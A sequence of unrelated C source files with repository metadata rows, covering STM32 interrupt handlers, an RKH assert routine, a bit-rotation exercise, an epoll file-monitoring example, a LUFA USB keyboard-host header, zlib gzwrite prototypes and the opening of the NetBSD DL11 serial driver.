* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*
* <h2><center>© COPYRIGHT 2011 STMicroelectronics</center></h2>
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "stm32f10x_it.h"
#include"HeadType.h"
#include "usart.h"
/** @addtogroup STM32F10x_StdPeriph_Template
* @{
*/
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
/******************************************************************************/
/* Cortex-M3 Processor Exceptions Handlers */
/******************************************************************************/
/**
* @brief This function handles NMI exception.
* @param None
* @retval None
*/
void NMI_Handler(void)
{
}
/**
* @brief This function handles Hard Fault exception.
* @param None
* @retval None
*/
void HardFault_Handler(void)
{
/* Go to infinite loop when Hard Fault exception occurs */
while (1)
{
}
}
/**
* @brief This function handles Memory Manage exception.
* @param None
* @retval None
*/
void MemManage_Handler(void)
{
/* Go to infinite loop when Memory Manage exception occurs */
while (1)
{
}
}
/**
* @brief This function handles Bus Fault exception.
* @param None
* @retval None
*/
void BusFault_Handler(void)
{
/* Go to infinite loop when Bus Fault exception occurs */
while (1)
{
}
}
/**
* @brief This function handles Usage Fault exception.
* @param None
* @retval None
*/
void UsageFault_Handler(void)
{
/* Go to infinite loop when Usage Fault exception occurs */
while (1)
{
}
}
/**
* @brief This function handles SVCall exception.
* @param None
* @retval None
*/
void SVC_Handler(void)
{
}
/**
* @brief This function handles Debug Monitor exception.
* @param None
* @retval None
*/
void DebugMon_Handler(void)
{
}
/**
* @brief This function handles PendSVC exception.
* @param None
* @retval None
*/
void PendSV_Handler(void)
{
}
/**
* @brief This function handles SysTick Handler.
* @param None
* @retval None
*/
void SysTick_Handler(void)
{
}
//=============================================================================
//函数名称:TIM2_IRQHandler
//功能概要:TIM2 中断函数
//参数说明:无
//函数返回:无
//=============================================================================
void TIM2_IRQHandler(void)
{
if ( TIM_GetITStatus(TIM2 , TIM_IT_Update) != RESET )
{
scanner_scan();
Beep_LoudNum();
Led_Flash();
TIM_ClearITPendingBit(TIM2 , TIM_FLAG_Update);
}
}
//=============================================================================
//函数名称:TIM3_IRQHandler
//功能概要:TIM3 中断函数
//参数说明:无
//函数返回:无
//=============================================================================
void TIM3_IRQHandler(void)
{
if ( TIM_GetITStatus(TIM3 , TIM_IT_Update) != RESET )
{
if (1 == Usart1_Control_Data.rx_start){
if(Auto_Frame_Time1 >0){
Auto_Frame_Time1--;
}else{
Auto_Frame_Time1 = 0;
Usart1_Control_Data.rx_aframe = 1;
Usart1_Control_Data.rx_count = Usart1_Control_Data.rx_index;
Usart1_Control_Data.rx_start = 0;
Usart1_Control_Data.rx_index = 0;
}
}
if (1 == Usart2_Control_Data.rx_start){
if(Auto_Frame_Time2 >0){
Auto_Frame_Time2--;
}else{
Auto_Frame_Time2 = 0;
Usart2_Control_Data.rx_aframe = 1;
Usart2_Control_Data.rx_count = Usart2_Control_Data.rx_index;
Usart2_Control_Data.rx_start = 0;
Usart2_Control_Data.rx_index = 0;
}
}
TIM_ClearITPendingBit(TIM3 , TIM_FLAG_Update);
}
}
//=============================================================================
//函数名称:TIM4_IRQHandler
//功能概要:TIM4 中断函数
//参数说明:无
//函数返回:无
//=============================================================================
void TIM4_IRQHandler(void)
{
if ( TIM_GetITStatus(TIM4 , TIM_IT_Update) != RESET )
{
Beep_Response();
TIM_ClearITPendingBit(TIM4 , TIM_FLAG_Update);
}
}
//=============================================================================
//函数名称:USART1_IRQHandler
//功能概要:USART1 中断函数
//参数说明:无
//函数返回:无
//=============================================================================
void USART1_IRQHandler(void)
{
if(USART_GetFlagStatus(USART1, USART_FLAG_RXNE)||USART_GetFlagStatus(USART1, USART_FLAG_ORE) != RESET){ //解决数据没接收完一直进中断的问题
USART1_Do_Rx(USART_ReceiveData(USART1));
USART_ClearFlag(USART1,USART_FLAG_RXNE);
}
if(USART_GetFlagStatus(USART1, USART_FLAG_TC)){
USART1_Do_Tx();
USART_ClearFlag(USART1,USART_FLAG_TC);
}
}
//=============================================================================
//函数名称:USART2_IRQHandler
//功能概要:USART2 中断函数
//参数说明:无
//函数返回:无
//=============================================================================
void USART2_IRQHandler(void)
{
if(USART_GetFlagStatus(USART2, USART_FLAG_RXNE)||USART_GetFlagStatus(USART2, USART_FLAG_ORE) != RESET){
USART2_Do_Rx(USART_ReceiveData(USART2));
USART_ClearFlag(USART2,USART_FLAG_RXNE);
}
if(USART_GetFlagStatus(USART2, USART_FLAG_TC)){
USART2_Do_Tx();
USART_ClearFlag(USART2,USART_FLAG_TC);
}
}
| [
"398677675@qq.com"
] | 398677675@qq.com |
3afd41daf1a9ef727174609417f5aacca43a12be | 1e55349d14d65e5be67e2e92d9978beb0ed7a0c0 | /examples/c/rkh/blinky_bm/bsp/src/assert.c | 66d02b8eaf625713096846593687653433b05c66 | [
"BSD-3-Clause"
] | permissive | martinribelotta/cese-edu-ciaa-template | 39b325389aff0a19dd1e14ed87088d63f3e222a8 | 8ff0977b104f4fe43f155d90bbc2ebbd3430fb2d | refs/heads/master | 2021-04-15T12:46:16.263408 | 2020-09-17T13:55:05 | 2020-09-17T13:55:05 | 126,267,255 | 1 | 0 | BSD-3-Clause | 2018-09-26T02:32:18 | 2018-03-22T02:20:04 | C | UTF-8 | C | false | false | 2,887 | c | /*
* --------------------------------------------------------------------------
*
* Framework RKH
* -------------
*
* State-machine framework for reactive embedded systems
*
* Copyright (C) 2010 Leandro Francucci.
* All rights reserved. Protected by international copyright laws.
*
*
* RKH is free software: you can redistribute it and/or modify it under the
* terms of the GNU General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any
* later version.
*
* RKH is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with RKH, see copying.txt file.
*
* Contact information:
* RKH web site: http://sourceforge.net/projects/rkh-reactivesys/
* e-mail: francuccilea@gmail.com
* ---------------------------------------------------------------------------
*/
/**
* \file assert.c
* \brief RKH assert function for EDU-CIAA
*
* \ingroup bsp
*/
/* -------------------------- Development history -------------------------- */
/*
* 2017.04.14 DaBa v2.4.05 Initial version
*/
/* -------------------------------- Authors -------------------------------- */
/*
* DaBa Dario Bali�a dariosb@gmail.com
*/
/* --------------------------------- Notes --------------------------------- */
/* ----------------------------- Include files ----------------------------- */
#include "rkh.h"
#include "rkhfwk_sched.h"
#include "sapi.h"
RKH_THIS_MODULE
/* ----------------------------- Local macros ------------------------------ */
#ifdef DEBUG
#define reset_now() __asm volatile (" bkpt 0x00FF\n" )
#else
#define reset_now() NVIC_SystemReset()
#endif
/* ------------------------------- Constants ------------------------------- */
/* ---------------------------- Local data types --------------------------- */
/* ---------------------------- Global variables --------------------------- */
/* ---------------------------- Local variables ---------------------------- */
/* ----------------------- Local function prototypes ----------------------- */
/* ---------------------------- Local functions ---------------------------- */
/* ---------------------------- Global functions --------------------------- */
void
rkh_assert( RKHROM char * const file, int line )
{
( void )line;
RKH_DIS_INTERRUPT();
RKH_TR_FWK_ASSERT( ( RKHROM char * )file, __LINE__ );
rkh_fwk_exit();
reset_now();
}
/* ------------------------------ File footer ------------------------------ */
| [
"bukitoo@gmail.com"
] | bukitoo@gmail.com |
74fc6835d34cec1e2dae5784bb573dfa0198a474 | fee9e7a10356c611229a426bba147c9b489df089 | /Chapter12/example/prog12.4.c | 8a2eb0b7e6600b5f2e46e7a9795047a9ace3f34c | [] | no_license | ankitrgadiya/learn-c | e6be58f8ff588168ecf69b0ec92517118e07156b | 88445a9ccf99023e6753eb4fbe87ad5b6ee50086 | refs/heads/master | 2021-03-22T02:15:59.054313 | 2017-10-05T15:08:44 | 2017-10-05T15:08:44 | 88,732,254 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 849 | c | // Program to illustrate rotation of integers
#include <stdio.h>
int main (void)
{
unsigned int w1 = 0xabcdef00u, w2 = 0xffff1122u;
unsigned int rotate (unsigned int value, int n);
printf("%x\n", rotate (w1, 8));
printf("%x\n", rotate (w1, -16));
printf("%x\n", rotate (w2, 4));
printf("%x\n", rotate (w2, -2));
printf("%x\n", rotate (w1, 0));
printf("%x\n", rotate (w1, 44));
return 0;
}
// Function to rotate an unsigned int left or right
unsigned int rotate (unsigned int value, int n)
{
unsigned int result, bits;
// scale down the shift count to a defined range
if (n > 0)
n = n % 32;
else
n = -(-n % 32);
if (n == 0) {
result = value;
} else if ( n > 0) {
bits = value >> (32 - n);
result = value << n | bits;
} else {
n = -n;
bits = value << (32 - n);
result = value >> n | bits;
}
return result;
}
| [
"git@argp.in"
] | git@argp.in |
4c5c1cb98a1af17e1012f7d8c3e86c55604b726d | 0b82191215fffbe6c9b2cac63dfff5d18e40d01c | /tests/fixtures/stm32f1_project/Drivers/CMSIS/DSP_Lib/Source/BasicMathFunctions/arm_offset_q15.c | 6a67eef3d376458b55808934ff06cbac925ae87d | [
"MIT"
] | permissive | vznncv/vznncv-cubemx-tools | a737ab1526ed8ba144c88e59290bb1e4490eef96 | 9d73b578f1afb056accdbbefb66fe1f49337cd84 | refs/heads/master | 2020-03-19T15:28:22.820175 | 2019-07-11T17:59:04 | 2019-07-11T17:59:34 | 136,672,141 | 3 | 0 | null | null | null | null | UTF-8 | C | false | false | 79 | c | Stub content:
Drivers/CMSIS/DSP_Lib/Source/BasicMathFunctions/arm_offset_q15.c
| [
"vznncv@gmail.com"
] | vznncv@gmail.com |
37ebb384693854f54bf8573d1df8197b6533935a | 878d388f045cbe4ad82585385bb2c7b2af912c30 | /c_c++_project/epoll.c | 29ee690bed89aabb881dadd531781ae026c4bf01 | [] | no_license | 219gauss/android | 4270bee6535e3f6715a38164c01ecd94dde01a14 | d2556a0e6bab9ca377c7155755251c89c535ead0 | refs/heads/master | 2020-03-21T10:34:26.318251 | 2018-07-25T03:05:01 | 2018-07-25T03:05:01 | 138,458,795 | 0 | 0 | null | null | null | null | GB18030 | C | false | false | 1,317 | c | /*
*功能：监控某一文件是否有数据写入，如果有则打印出来
*执行：./epoll epoll_test/1 &
*/
#include <stdio.h>
#include <sys/epoll.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define EPOLL_MAX_EVENT 4
#define EPOLL_MAX_DATA 500
int main(int argc,char** argv)
{
int epfd,opfd,i,event_num;
struct epoll_event event;
struct epoll_event ret_event[EPOLL_MAX_EVENT];
char buf[EPOLL_MAX_DATA];
epfd = epoll_create(5); /*创建一个epoll的句柄，size用来告诉内核这个监听的数目一共有多大*/
if(epfd == -1)
printf("epoll_create error\n");
opfd = open(argv[1],O_RDWR); /*打开要监控的文件*/
if(opfd == -1)
printf("open file error\n");
event.data.fd = opfd;
event.events = EPOLLIN;
epoll_ctl(epfd,EPOLL_CTL_ADD,opfd,&event); /*添加opfd的EPOLLIN事件（文件是否有输入）*/
while(1)
{
event_num = epoll_wait(epfd,ret_event,1,-1); /*监控epfd里的事件，如果事件产生，
则保存事件类型，产生事件的文件的fd，
返回产生事件的个数*/
for(i=0;i<event_num;i++)
{
read(ret_event[i].data.fd,buf,EPOLL_MAX_DATA); /*通过ret_event保存的fd，找到产生事件的文件，从而读取数据*/
printf("data is %s\n",buf);
}
}
return 0;
}
| [
"1459525376@qq.com"
] | 1459525376@qq.com |
dbf16474a120ed17d54c179cf4c524424f6f637e | 03b60dde2f22afe5bb7752558c0cfa20c4f251c2 | /third-party/LUFA100513/Demos/Host/ClassDriver/KeyboardHost/KeyboardHost.h | 2e5f1caeef665e9f69400adb13107c52d2a4ee44 | [
"CC0-1.0"
] | permissive | CrashSerious/dump-ninja | 241e8f20c74eed7401e028bdc20eceb0bcc7110f | 36e8e4a7625bdc956582a3bf30972dabe229e606 | refs/heads/master | 2020-05-16T21:11:13.447711 | 2012-01-14T16:19:41 | 2012-01-14T16:19:41 | 3,175,915 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,801 | h | /*
LUFA Library
Copyright (C) Dean Camera, 2010.
dean [at] fourwalledcubicle [dot] com
www.fourwalledcubicle.com
*/
/*
Copyright 2010 Dean Camera (dean [at] fourwalledcubicle [dot] com)
Permission to use, copy, modify, distribute, and sell this
software and its documentation for any purpose is hereby granted
without fee, provided that the above copyright notice appear in
all copies and that both that the copyright notice and this
permission notice and warranty disclaimer appear in supporting
documentation, and that the name of the author not be used in
advertising or publicity pertaining to distribution of the
software without specific, written prior permission.
The author disclaim all warranties with regard to this
software, including all implied warranties of merchantability
and fitness. In no event shall the author be liable for any
special, indirect or consequential damages or any damages
whatsoever resulting from loss of use, data or profits, whether
in an action of contract, negligence or other tortious action,
arising out of or in connection with the use or performance of
this software.
*/
/** \file
*
* Header file for KeyboardHost.c.
*/
#ifndef _KEYBOARD_HOST_H_
#define _KEYBOARD_HOST_H_
/* Includes: */
#include <avr/io.h>
#include <avr/wdt.h>
#include <avr/pgmspace.h>
#include <avr/power.h>
#include <avr/interrupt.h>
#include <stdio.h>
#include <LUFA/Version.h>
#include <LUFA/Drivers/Misc/TerminalCodes.h>
#include <LUFA/Drivers/Peripheral/SerialStream.h>
#include <LUFA/Drivers/Board/LEDs.h>
#include <LUFA/Drivers/USB/USB.h>
#include <LUFA/Drivers/USB/Class/HID.h>
/* Macros: */
/** LED mask for the library LED driver, to indicate that the USB interface is not ready. */
#define LEDMASK_USB_NOTREADY LEDS_LED1
/** LED mask for the library LED driver, to indicate that the USB interface is enumerating. */
#define LEDMASK_USB_ENUMERATING (LEDS_LED2 | LEDS_LED3)
/** LED mask for the library LED driver, to indicate that the USB interface is ready. */
#define LEDMASK_USB_READY (LEDS_LED2 | LEDS_LED4)
/** LED mask for the library LED driver, to indicate that an error has occurred in the USB interface. */
#define LEDMASK_USB_ERROR (LEDS_LED1 | LEDS_LED3)
/* Function Prototypes: */
void SetupHardware(void);
void EVENT_USB_Host_HostError(const uint8_t ErrorCode);
void EVENT_USB_Host_DeviceAttached(void);
void EVENT_USB_Host_DeviceUnattached(void);
void EVENT_USB_Host_DeviceEnumerationFailed(const uint8_t ErrorCode, const uint8_t SubErrorCode);
void EVENT_USB_Host_DeviceEnumerationComplete(void);
#endif
| [
"root@AVRDev.(none)"
] | root@AVRDev.(none) |
168cd3bfd3ccd448402375791c91fba90bfc2e6e | cbcd2f7e11e004034ef7d9f0589198ba86f8cca5 | /Postfix_Expression_Algo/arrayStack.c | 7a460d0f14de6df429ce725dec5b334e82b51d17 | [] | no_license | inventvictor/Data-Structures-and-Algorithms | 5d1bdb8d77a52471f5358f660ae8c9f7ece25025 | b267c023a4890786259fb678f1a7d0a02cf3faab | refs/heads/master | 2022-09-18T18:36:58.691241 | 2022-09-08T05:13:57 | 2022-09-08T05:13:57 | 98,222,993 | 2 | 1 | null | null | null | null | UTF-8 | C | false | false | 851 | c | /*
* arrayStack.c
*
* Created on: Nov 18, 2016
* Author: inventor
*/
#include "arrayStack.h"
#include <stdbool.h>
char array[STACKSIZE];
char *arr_ptr = &array[STACKSIZE-1];
int ptr_counter = STACKSIZE;
bool stack_isEmpty()
{
bool b = false;
if(ptr_counter == STACKSIZE)
{
b = true;
}
return b;
}
bool stack_isFull()
{
bool b = false;
if(ptr_counter == 0)
{
b = true;
}
return b;
}
char stack_peek()
{
char data;
if(!stack_isEmpty())
{
arr_ptr++;
data = *arr_ptr;
arr_ptr--;
}
return data;
}
bool stack_push(char data)
{
bool b = false;
if(!stack_isFull())
{
*arr_ptr = data;
arr_ptr--;
ptr_counter--;
b = true;
}
return b;
}
char stack_pop()
{
char data;
arr_ptr++;
ptr_counter++;
data = *arr_ptr;
*arr_ptr = 0;
return data;
}
int stack_size()
{
return STACKSIZE - ptr_counter;
}
| [
"victorshoaga@gmail.com"
] | victorshoaga@gmail.com |
9b61c6b11509f78e7248b0e1265c8a49121277d9 | a280aa9ac69d3834dc00219e9a4ba07996dfb4dd | /regularexpress/home/weilaidb/software/Python-2.7.13/Modules/zlib/gzwrite.c | 2c9ac2b2f60a283032eae46b7e79ca53e6ff65fa | [] | no_license | weilaidb/PythonExample | b2cc6c514816a0e1bfb7c0cbd5045cf87bd28466 | 798bf1bdfdf7594f528788c4df02f79f0f7827ce | refs/heads/master | 2021-01-12T13:56:19.346041 | 2017-07-22T16:30:33 | 2017-07-22T16:30:33 | 68,925,741 | 4 | 2 | null | null | null | null | UTF-8 | C | false | false | 1,084 | c | local int gz_init OF((gz_statep));
local int gz_comp OF((gz_statep, int));
local int gz_zero OF((gz_statep, z_off64_t));
local int gz_init(state)
gz_statep state;
local int gz_comp(state, flush)
gz_statep state;
int flush;
local int gz_zero(state, len)
gz_statep state;
z_off64_t len;
int ZEXPORT gzwrite(file, buf, len)
gzFile file;
voidpc buf;
unsigned len;
int ZEXPORT gzputc(file, c)
gzFile file;
int c;
int ZEXPORT gzputs(file, str)
gzFile file;
const char *str;
#if defined(STDC) || defined(Z_HAVE_STDARG_H)
int ZEXPORTVA gzvprintf(gzFile file, const char *format, va_list va)
int ZEXPORTVA gzprintf(gzFile file, const char *format, ...)
int ZEXPORTVA gzprintf (file, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20)
gzFile file;
const char *format;
int a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
a11, a12, a13, a14, a15, a16, a17, a18, a19, a20;
int ZEXPORT gzflush(file, flush)
gzFile file;
int flush;
int ZEXPORT gzsetparams(file, level, strategy)
gzFile file;
int level;
int strategy;
int ZEXPORT gzclose_w(file)
gzFile file;
| [
"weilaidb@localhost.localdomain"
] | weilaidb@localhost.localdomain |
f39483a20b77f95659c49efc89f27aae18d3def5 | c99d6f8fab0e587bcfa5d21bd5a126851b7bdf24 | /kalimba/lib_sets/sdk/include/multirate_operators/cbops_peak_monitor_op.h | 916f379ccd9bbd00a7969a9fbc0c919c8668f1cd | [] | no_license | DIIIIII/koovox_adk4.0 | cd75854533a1b88667bdc21f8ef6e9476e289cc3 | ed6522025aca351885b47593620926889b914d37 | refs/heads/master | 2020-04-28T17:00:38.985571 | 2015-08-21T07:02:09 | 2015-08-21T07:02:09 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 600 | h | // *****************************************************************************
// %%fullcopyright(2007) http://www.csr.com
// %%version
//
// $Change: 2317643 $ $DateTime: 2015/07/10 11:14:28 $
// *****************************************************************************
#ifndef CBOPS_PEAK_MONITOR_HEADER_INCLUDED
#define CBOPS_PEAK_MONITOR_HEADER_INCLUDED
.CONST $cbops.peak_monitor_op.PTR_INPUT_BUFFER_FIELD 0;
.CONST $cbops.peak_monitor_op.PEAK_LEVEL_PTR 1;
.CONST $cbops.peak_monitor_op.STRUC_SIZE 2;
#endif //PEAK_MONITOR_HEADER_INCLUDED
| [
"youqiukun@163.com"
] | youqiukun@163.com |
6872e3100c43ed0fc4e192fa43560a23f32c4187 | 7b55cacf46bf2fd6298315bccfa4b6f0375e3865 | /src/sys/dev/qbus/dl.c | e0aab6274c2eccd387a8d0258b93a32ba6a248c8 | [
"MIT",
"LicenseRef-scancode-bsd-3-clause-jtag",
"BSD-2-Clause"
] | permissive | libos-nuse/frankenlibc | 7f33a86f277ea13eeae573e0339b03c5e2a9ff58 | b2e9db0084847aaa63fcddce2f5bf2e0e43669d5 | refs/heads/lkl-musl | 2021-01-21T23:30:07.179889 | 2018-06-21T07:46:36 | 2018-08-14T03:52:22 | 47,620,000 | 9 | 6 | NOASSERTION | 2019-02-21T14:53:00 | 2015-12-08T12:13:28 | C | UTF-8 | C | false | false | 14,149 | c | /* $NetBSD: dl.c,v 1.49 2014/07/25 08:10:38 dholland Exp $ */
/*-
* Copyright (c) 1996, 1997 The NetBSD Foundation, Inc.
* All rights reserved.
*
* This code is derived from software contributed to The NetBSD Foundation
* by Jason R. Thorpe.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Copyright (c) 1997 Ben Harris. All rights reserved.
* Copyright (c) 1982, 1986, 1990, 1992, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Ralph Campbell and Rick Macklem.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* Copyright (c) 1996 Ken C. Wellsch. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Ralph Campbell and Rick Macklem.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* dl.c -- Device driver for the DL11 and DLV11 serial cards.
*
* OS-interface code derived from the dz and dca (hp300) drivers.
*/
#include <sys/cdefs.h>
__KERNEL_RCSID(0, "$NetBSD: dl.c,v 1.49 2014/07/25 08:10:38 dholland Exp $");
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/ioctl.h>
#include <sys/tty.h>
#include <sys/proc.h>
#include <sys/buf.h>
#include <sys/conf.h>
#include <sys/file.h>
#include <sys/uio.h>
#include <sys/kernel.h>
#include <sys/syslog.h>
#include <sys/device.h>
#include <sys/kauth.h>
#include <sys/bus.h>
#include <dev/qbus/ubavar.h>
#include <dev/qbus/dlreg.h>
#include "ioconf.h"
struct dl_softc {
device_t sc_dev;
struct evcnt sc_rintrcnt;
struct evcnt sc_tintrcnt;
bus_space_tag_t sc_iot;
bus_space_handle_t sc_ioh;
struct tty *sc_tty;
};
static int dl_match (device_t, cfdata_t, void *);
static void dl_attach (device_t, device_t, void *);
static void dlrint (void *);
static void dlxint (void *);
static void dlstart (struct tty *);
static int dlparam (struct tty *, struct termios *);
static void dlbrk (struct dl_softc *, int);
CFATTACH_DECL_NEW(dl, sizeof(struct dl_softc),
dl_match, dl_attach, NULL, NULL);
dev_type_open(dlopen);
dev_type_close(dlclose);
dev_type_read(dlread);
dev_type_write(dlwrite);
dev_type_ioctl(dlioctl);
dev_type_stop(dlstop);
dev_type_tty(dltty);
dev_type_poll(dlpoll);
const struct cdevsw dl_cdevsw = {
.d_open = dlopen,
.d_close = dlclose,
.d_read = dlread,
.d_write = dlwrite,
.d_ioctl = dlioctl,
.d_stop = dlstop,
.d_tty = dltty,
.d_poll = dlpoll,
.d_mmap = nommap,
.d_kqfilter = ttykqfilter,
.d_discard = nodiscard,
.d_flag = D_TTY
};
#define DL_READ_WORD(reg) \
bus_space_read_2(sc->sc_iot, sc->sc_ioh, reg)
#define DL_WRITE_WORD(reg, val) \
bus_space_write_2(sc->sc_iot, sc->sc_ioh, reg, val)
#define DL_WRITE_BYTE(reg, val) \
bus_space_write_1(sc->sc_iot, sc->sc_ioh, reg, val)
/* Autoconfig handles: setup the controller to interrupt, */
/* then complete the housecleaning for full operation */
static int
dl_match (device_t parent, cfdata_t cf, void *aux)
{
struct uba_attach_args *ua = aux;
#ifdef DL_DEBUG
printf("Probing for dl at %lo ... ", (long)ua->ua_iaddr);
#endif
bus_space_write_2(ua->ua_iot, ua->ua_ioh, DL_UBA_XCSR, DL_XCSR_TXIE);
if (bus_space_read_2(ua->ua_iot, ua->ua_ioh, DL_UBA_XCSR) !=
(DL_XCSR_TXIE | DL_XCSR_TX_READY)) {
#ifdef DL_DEBUG
printf("failed (step 1; XCSR = %.4b)\n",
bus_space_read_2(ua->ua_iot, ua->ua_ioh, DL_UBA_XCSR),
DL_XCSR_BITS);
#endif
return 0;
}
/*
* We have to force an interrupt so the uba driver can work
* out where we are. Unfortunately, the only way to make a
* DL11 interrupt is to get it to send or receive a
* character. We'll send a NUL and hope it doesn't hurt
* anything.
*/
bus_space_write_1(ua->ua_iot, ua->ua_ioh, DL_UBA_XBUFL, '\0');
#if 0 /* This test seems to fail 2/3 of the time :-( */
if (dladdr->dl_xcsr != (DL_XCSR_TXIE)) {
#ifdef DL_DEBUG
printf("failed (step 2; XCSR = %.4b)\n", dladdr->dl_xcsr,
DL_XCSR_BITS);
#endif
return 0;
}
#endif
DELAY(100000); /* delay 1/10 s for character to transmit */
if (bus_space_read_2(ua->ua_iot, ua->ua_ioh, DL_UBA_XCSR) !=
(DL_XCSR_TXIE | DL_XCSR_TX_READY)) {
#ifdef DL_DEBUG
printf("failed (step 3; XCSR = %.4b)\n",
bus_space_read_2(ua->ua_iot, ua->ua_ioh, DL_UBA_XCSR),
DL_XCSR_BITS);
#endif
return 0;
}
/* What else do I need to do? */
return 1;
}
static void
dl_attach (device_t parent, device_t self, void *aux)
{
struct dl_softc *sc = device_private(self);
struct uba_attach_args *ua = aux;
sc->sc_dev = self;
sc->sc_iot = ua->ua_iot;
sc->sc_ioh = ua->ua_ioh;
/* Tidy up the device */
DL_WRITE_WORD(DL_UBA_RCSR, DL_RCSR_RXIE);
DL_WRITE_WORD(DL_UBA_XCSR, DL_XCSR_TXIE);
/* Initialize our softc structure. Should be done in open? */
sc->sc_tty = tty_alloc();
tty_attach(sc->sc_tty);
/* Now register the TX & RX interrupt handlers */
uba_intr_establish(ua->ua_icookie, ua->ua_cvec,
dlxint, sc, &sc->sc_tintrcnt);
uba_intr_establish(ua->ua_icookie, ua->ua_cvec - 4,
dlrint, sc, &sc->sc_rintrcnt);
evcnt_attach_dynamic(&sc->sc_rintrcnt, EVCNT_TYPE_INTR, ua->ua_evcnt,
device_xname(sc->sc_dev), "rintr");
evcnt_attach_dynamic(&sc->sc_tintrcnt, EVCNT_TYPE_INTR, ua->ua_evcnt,
